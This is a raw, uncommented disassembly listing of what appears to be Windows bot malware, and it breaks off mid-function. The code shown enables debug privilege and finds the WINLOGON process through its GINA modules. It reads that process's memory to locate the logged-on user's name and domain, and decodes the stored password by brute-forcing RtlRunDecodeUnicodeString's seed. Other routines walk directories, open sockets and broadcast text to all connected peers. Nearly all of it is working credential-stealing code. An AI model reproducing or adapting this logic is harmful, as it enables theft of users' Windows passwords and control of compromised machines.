		push	offset aS_3	; "%s\\*"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	edi, ds:dword_427000
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		call	edi	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset Format ; "%s\\%s"
		jz	short loc_416E86


loc_416E15:				; CODE XREF: sub_416DC9+BBj
		test	[ebp+var_144], 10h
		jz	short loc_416E72
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_416E39
		cmp	[ebp+var_117], 0
		jz	short loc_416E72
		cmp	[ebp+var_117], 2Eh
		jz	short loc_416E72


loc_416E39:				; CODE XREF: sub_416DC9+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx		; Format
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+arg_14]	; int
		lea	eax, [ebp+var_34C]
		push	eax		; int
		push	[ebp+arg_C]	; int
		push	[ebp+arg_8]	; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_416DC9
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_416E72:				; CODE XREF: sub_416DC9+53j
					; sub_416DC9+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_427118	; FindNextFileA
		test	eax, eax
		jnz	short loc_416E15


loc_416E86:				; CODE XREF: sub_416DC9+4Aj
		push	[ebp+var_4]
		call	ds:dword_42710C	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+Dest]
		push	[ebp+arg_10]
		push	ebx		; Format
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_416F0C


loc_416EBD:				; CODE XREF: sub_416DC9+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset asc_438004 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	1		; int
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]	; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_409A73
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	ds:dword_427118	; FindNextFileA
		test	eax, eax
		jnz	short loc_416EBD


loc_416F0C:				; CODE XREF: sub_416DC9+F2j
		push	esi
		call	ds:dword_42710C	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416DC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1B	proc near		; DATA XREF: sub_401ACD+1CD0o

Dest		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
Str		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F5
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F5A
		cmp	eax, 2
		jz	short loc_416F5A
		push	offset unk_4381F8
		jmp	loc_417099
; ---------------------------------------------------------------------------


loc_416F5A:				; CODE XREF: sub_416F1B+2Ej
					; sub_416F1B+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417094
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	ds:dword_4270B8	; LoadLibraryA
		mov	esi, ds:dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi	; GetProcAddress
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D44CC, eax
		call	esi	; GetProcAddress
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D44C0, eax
		call	esi	; GetProcAddress
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D46D0, eax
		call	esi	; GetProcAddress
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D44C8, eax
		call	esi	; GetProcAddress
		mov	dword_4D44C4, eax
		call	sub_4170ED
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417067
		mov	esi, ds:dword_42713C
		mov	edi, 400h
		mov	ebx, offset word_4D34C0
		push	edi
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset word_4D3CC0
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+var_4], 1
		push	offset dword_4D46D8
		push	[ebp+arg_0]
		jnz	short loc_417013
		call	sub_417276
		jmp	short loc_417018
; ---------------------------------------------------------------------------


loc_417013:				; CODE XREF: sub_416F1B+EFj
		call	sub_41741D


loc_417018:				; CODE XREF: sub_416F1B+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417060
		cmp	dword_4D46D8, 0
		jnz	short loc_417047
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+Dest]
		push	offset asc_4380C0 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		jmp	short loc_41707A
; ---------------------------------------------------------------------------


loc_417047:				; CODE XREF: sub_416F1B+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417057
		call	sub_417553
		jmp	short loc_41705C
; ---------------------------------------------------------------------------


loc_417057:				; CODE XREF: sub_416F1B+133j
		call	sub_4175EA


loc_41705C:				; CODE XREF: sub_416F1B+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706C
; ---------------------------------------------------------------------------


loc_417060:				; CODE XREF: sub_416F1B+101j
		push	offset unk_438088
		jmp	short loc_41706C
; ---------------------------------------------------------------------------


loc_417067:				; CODE XREF: sub_416F1B+B6j
		push	offset asc_43805C ; "-"


loc_41706C:				; CODE XREF: sub_416F1B+143j
					; sub_416F1B+14Aj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_41707A:				; CODE XREF: sub_416F1B+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	ds:dword_427138	; FreeLibrary
		pop	ebx
		jmp	short loc_4170A7
; ---------------------------------------------------------------------------


loc_417094:				; CODE XREF: sub_416F1B+4Ej
		push	offset asc_438028 ; "-"


loc_417099:				; CODE XREF: sub_416F1B+3Aj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_4170A7:				; CODE XREF: sub_416F1B+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CE
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_14]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_9C]	; int
		call	sub_409A73
		add	esp, 14h


loc_4170CE:				; CODE XREF: sub_416F1B+191j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_4151AD
		push	[ebp+var_18]
		call	sub_40B413
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_416F1B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170ED	proc near		; CODE XREF: sub_416F1B+ACp

String		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, ds:dword_427144
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D44CC
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_427140	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D44CC
		test	eax, eax
		jnz	short loc_4171DA
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171DA
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+String], ecx
		jb	short loc_4171DA


loc_417176:				; CODE XREF: sub_4170ED+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CD
		push	0
		push	0
		call	dword_4D44C0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D46D0
		test	eax, eax
		jnz	short loc_4171BE
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax		; String
		call	__strupr
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F2


loc_4171BE:				; CODE XREF: sub_4170ED+AAj
		test	edi, edi
		jz	short loc_4171C9
		push	edi
		call	dword_4D44C8


loc_4171C9:				; CODE XREF: sub_4170ED+D3j
		mov	eax, [esp+28h+var_10]


loc_4171CD:				; CODE XREF: sub_4170ED+8Ej
		add	ebx, 10h
		inc	[esp+28h+String]
		cmp	[esp+28h+String], eax
		jbe	short loc_417176


loc_4171DA:				; CODE XREF: sub_4170ED+6Dj
					; sub_4170ED+7Aj ...
		xor	edi, edi


loc_4171DC:				; CODE XREF: sub_4170ED+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_427140	; RtlFreeHeap
		mov	eax, edi


loc_4171EA:				; CODE XREF: sub_4170ED+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_4171F2:				; CODE XREF: sub_4170ED+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725B
		lea	eax, [edi+80h]
		mov	[esp+28h+String], eax


loc_417208:				; CODE XREF: sub_4170ED+16Cj
		add	[esp+28h+String], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+String] ; String
		call	__strupr
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726F
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+String] ; String
		call	__strupr
		pop	ecx
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724D
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_41724D:				; CODE XREF: sub_4170ED+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417208


loc_41725B:				; CODE XREF: sub_4170ED+10Fj
		test	edi, edi
		jz	short loc_417266
		push	edi
		call	dword_4D44C8


loc_417266:				; CODE XREF: sub_4170ED+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DC
; ---------------------------------------------------------------------------


loc_41726F:				; CODE XREF: sub_4170ED+13Cj
		xor	eax, eax
		jmp	loc_4171EA
sub_4170ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417276	proc near		; CODE XREF: sub_416F1B+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	ds:dword_427084	; OpenProcess
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729F
		xor	eax, eax
		jmp	loc_41741A
; ---------------------------------------------------------------------------


loc_41729F:				; CODE XREF: sub_417276+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	ds:dword_427154	; GetSystemInfo
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, ds:dword_427148
		push	8
		call	esi	; GetProcessHeap
		mov	edi, ds:dword_427144
		push	eax
		call	edi	; RtlAllocateHeap
		lea	ecx, [ebp+var_8]
		mov	ebx, ds:dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_4172EF
		xor	esi, esi
		jmp	loc_41740D
; ---------------------------------------------------------------------------


loc_4172EF:				; CODE XREF: sub_417276+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ds:dword_42714C	; VirtualQueryEx
		test	eax, eax
		jz	loc_4173FC
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FC
		test	[ebp+var_2B], 1
		jnz	loc_4173FC
		push	[ebp+var_34]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_4173FC


loc_417352:				; CODE XREF: sub_417276+112j
		push	edi		; Str2
		push	offset word_4D34C0 ; Str1
		call	__wcsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41737A
		lea	eax, [edi+200h]
		push	eax		; Str2
		push	offset word_4D3CC0 ; Str1
		call	__wcsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41738A


loc_41737A:				; CODE XREF: sub_417276+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FC
		jmp	short loc_417352
; ---------------------------------------------------------------------------


loc_41738A:				; CODE XREF: sub_417276+102j
		test	edi, edi
		jz	short loc_4173FC
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	ds:dword_427114	; FileTimeToLocalFileTime
		test	eax, eax
		jz	short loc_4173C5
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	ds:dword_427110	; FileTimeToSystemTime
		test	eax, eax
		jz	short loc_4173C5
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4173C5:				; CODE XREF: sub_417276+12Bj
					; sub_417276+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D46E4, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D46DC, eax
		mov	Src, edi


loc_4173FC:				; CODE XREF: sub_417276+90j
					; sub_417276+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_427140	; RtlFreeHeap
		mov	esi, [ebp+var_10]


loc_41740D:				; CODE XREF: sub_417276+74j
		push	[ebp+var_4]
		call	ds:dword_427068	; CloseHandle
		pop	edi
		mov	eax, esi
		pop	ebx


loc_41741A:				; CODE XREF: sub_417276+24j
		pop	esi
		leave
		retn
sub_417276	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741D	proc near		; CODE XREF: sub_416F1B:loc_417013p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	ds:dword_427084	; OpenProcess
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750F
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	ds:dword_427154	; GetSystemInfo
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417506
		mov	edi, ds:dword_427148


loc_417468:				; CODE XREF: sub_41741D+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_42714C	; VirtualQueryEx
		test	eax, eax
		jz	short loc_4174F4
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174FA
		test	[ebp+var_13], 1
		jnz	short loc_4174FA
		push	ecx
		push	8
		call	edi	; GetProcessHeap
		push	eax
		call	ds:dword_427144	; RtlAllocateHeap
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	ds:dword_427150	; ReadProcessMemory
		test	eax, eax
		jz	short loc_4174E6
		push	offset word_4D34C0 ; Str2
		push	esi		; Str1
		call	__wcsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E6
		lea	eax, [esi+400h]
		push	offset word_4D3CC0 ; Str2
		push	eax		; Str1
		call	__wcsicmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417516


loc_4174E6:				; CODE XREF: sub_41741D+9Fj
					; sub_41741D+B0j
		push	esi
		push	0
		call	edi	; GetProcessHeap
		push	eax
		call	ds:dword_427140	; RtlFreeHeap
		jmp	short loc_4174FA
; ---------------------------------------------------------------------------


loc_4174F4:				; CODE XREF: sub_41741D+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4174FA:				; CODE XREF: sub_41741D+71j
					; sub_41741D+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417468


loc_417506:				; CODE XREF: sub_41741D+3Fj
		push	[ebp+arg_0]
		call	ds:dword_427068	; CloseHandle


loc_41750F:				; CODE XREF: sub_41741D+1Ej
		xor	eax, eax


loc_417511:				; CODE XREF: sub_41741D+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417516:				; CODE XREF: sub_41741D+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D46DC, ebx
		mov	Src, eax
		cmp	[eax], cl
		jnz	short loc_417538
		cmp	[eax+1], cl
		jz	short loc_417540


loc_417538:				; CODE XREF: sub_41741D+114j
					; sub_41741D+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417538


loc_417540:				; CODE XREF: sub_41741D+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	ds:dword_427068	; CloseHandle
		push	1
		pop	eax
		jmp	short loc_417511
sub_41741D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417553	proc near		; CODE XREF: sub_416F1B+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D46D8
		push	esi
		mov	esi, ds:dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_427144	; RtlAllocateHeap
		mov	ecx, dword_4D46D8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx		; Size
		push	Src		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D46E4
		push	eax
		call	dword_4D44C4
		push	[ebp+var_4]
		mov	edi, offset byte_4D44D0
		push	offset word_4D34C0
		push	offset word_4D3CC0
		push	[ebp+arg_0]
		push	offset asc_438244 ; "-"
		push	200h		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	ds:dword_427140	; RtlFreeHeap
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417553	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175EA	proc near		; CODE XREF: sub_416F1B:loc_417057p

var_18		= word ptr -18h
var_16		= word ptr -16h
Dst		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D46D8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		call	ds:dword_427148	; GetProcessHeap
		push	eax
		call	ds:dword_427144	; RtlAllocateHeap
		and	[ebp+var_C], 0
		mov	[ebp+Dst], eax
		mov	ebx, offset word_4D3CC0
		mov	edi, 200h
		mov	esi, offset byte_4D32C0


loc_417630:				; CODE XREF: sub_4175EA+FAj
		mov	eax, dword_4D46D8
		add	eax, eax
		push	eax		; Size
		push	Src		; Src
		push	[ebp+Dst]	; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D44C4
		mov	eax, dword_4D46D8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+Dst]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A5


loc_41766D:				; CODE XREF: sub_4175EA+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C2
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417691
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417691
		cmp	dl, 20h
		jnb	short loc_41768B
		and	[ebp+var_8], 0


loc_41768B:				; CODE XREF: sub_4175EA+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417695


loc_417691:				; CODE XREF: sub_4175EA+90j
					; sub_4175EA+96j
		and	[ebp+var_8], 0


loc_417695:				; CODE XREF: sub_4175EA+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766D
		cmp	[ebp+var_8], 0
		jz	short loc_4176C2


loc_4176A5:				; CODE XREF: sub_4175EA+81j
		push	[ebp+Dst]
		push	offset word_4D34C0
		push	ebx
		push	[ebp+arg_0]
		push	offset asc_438244 ; "-"
		push	edi		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 1Ch
		jmp	short loc_4176DA
; ---------------------------------------------------------------------------


loc_4176C2:				; CODE XREF: sub_4175EA+87j
					; sub_4175EA+B9j
		push	offset word_4D34C0
		push	ebx
		push	[ebp+arg_0]
		push	offset asc_438294 ; "-"
		push	edi		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h


loc_4176DA:				; CODE XREF: sub_4175EA+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_417630
		push	[ebp+Dst]
		push	0
		call	ds:dword_427148	; GetProcessHeap
		push	eax
		call	ds:dword_427140	; RtlFreeHeap
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417703	proc near		; CODE XREF: sub_4178BB+2Fp

Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6D4	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777F
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	[ebp+arg_4]
		call	dword_4CB654	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB694	; inet_addr
		cmp	eax, esi
		jnz	short loc_417764
		push	[ebp+arg_0]
		call	dword_4CB6D8	; gethostbyname
		test	eax, eax
		jz	short loc_41777F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_417764:				; CODE XREF: sub_417703+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5FC	; connect
		cmp	eax, esi
		jnz	short loc_417783
		push	edi
		call	dword_4CB6EC	; closesocket


loc_41777F:				; CODE XREF: sub_417703+1Bj
					; sub_417703+58j
		mov	eax, esi
		jmp	short loc_417785
; ---------------------------------------------------------------------------


loc_417783:				; CODE XREF: sub_417703+73j
		mov	eax, edi


loc_417785:				; CODE XREF: sub_417703+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417703	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_417789(char *Dest)

sub_417789	proc near		; CODE XREF: sub_401ACD+3295p
					; sub_401ACD+3301p ...

Dest		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+Dest]
		push	offset asc_42A0A0 ; "\n"
		push	edi		; Dest
		call	_strcat
		pop	ecx
		mov	esi, offset dword_4D46EC
		pop	ecx


loc_4177A1:				; CODE XREF: sub_417789+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BF
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BF
		push	0
		push	edi		; Str
		call	_strlen
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CB6A4	; send


loc_4177BF:				; CODE XREF: sub_417789+1Cj
					; sub_417789+21j
		add	esi, 210h
		cmp	esi, offset byte_4DAE0C
		jl	short loc_4177A1
		pop	edi
		pop	esi
		retn
sub_417789	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4177D0(char *Str,int)

sub_4177D0	proc near		; CODE XREF: sub_4178BB+155p

Dst		= byte ptr -420h
Dest		= byte ptr -220h
Str2		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42D124 ; " "
		push	edi
		push	esi		; Delim
		push	[ebp+Str]	; Str
		call	_strtok
		pop	ecx
		mov	[ebp+Str2], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx


loc_4177F5:				; CODE XREF: sub_4177D0+35j
		push	esi		; Delim
		push	0		; Str
		call	_strtok
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F5
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+Str2], edi
		jnz	short loc_41781D
		cmp	esi, edi
		jnz	short loc_41781D
		push	1
		pop	eax
		jmp	loc_4178B6
; ---------------------------------------------------------------------------


loc_41781D:				; CODE XREF: sub_4177D0+3Fj
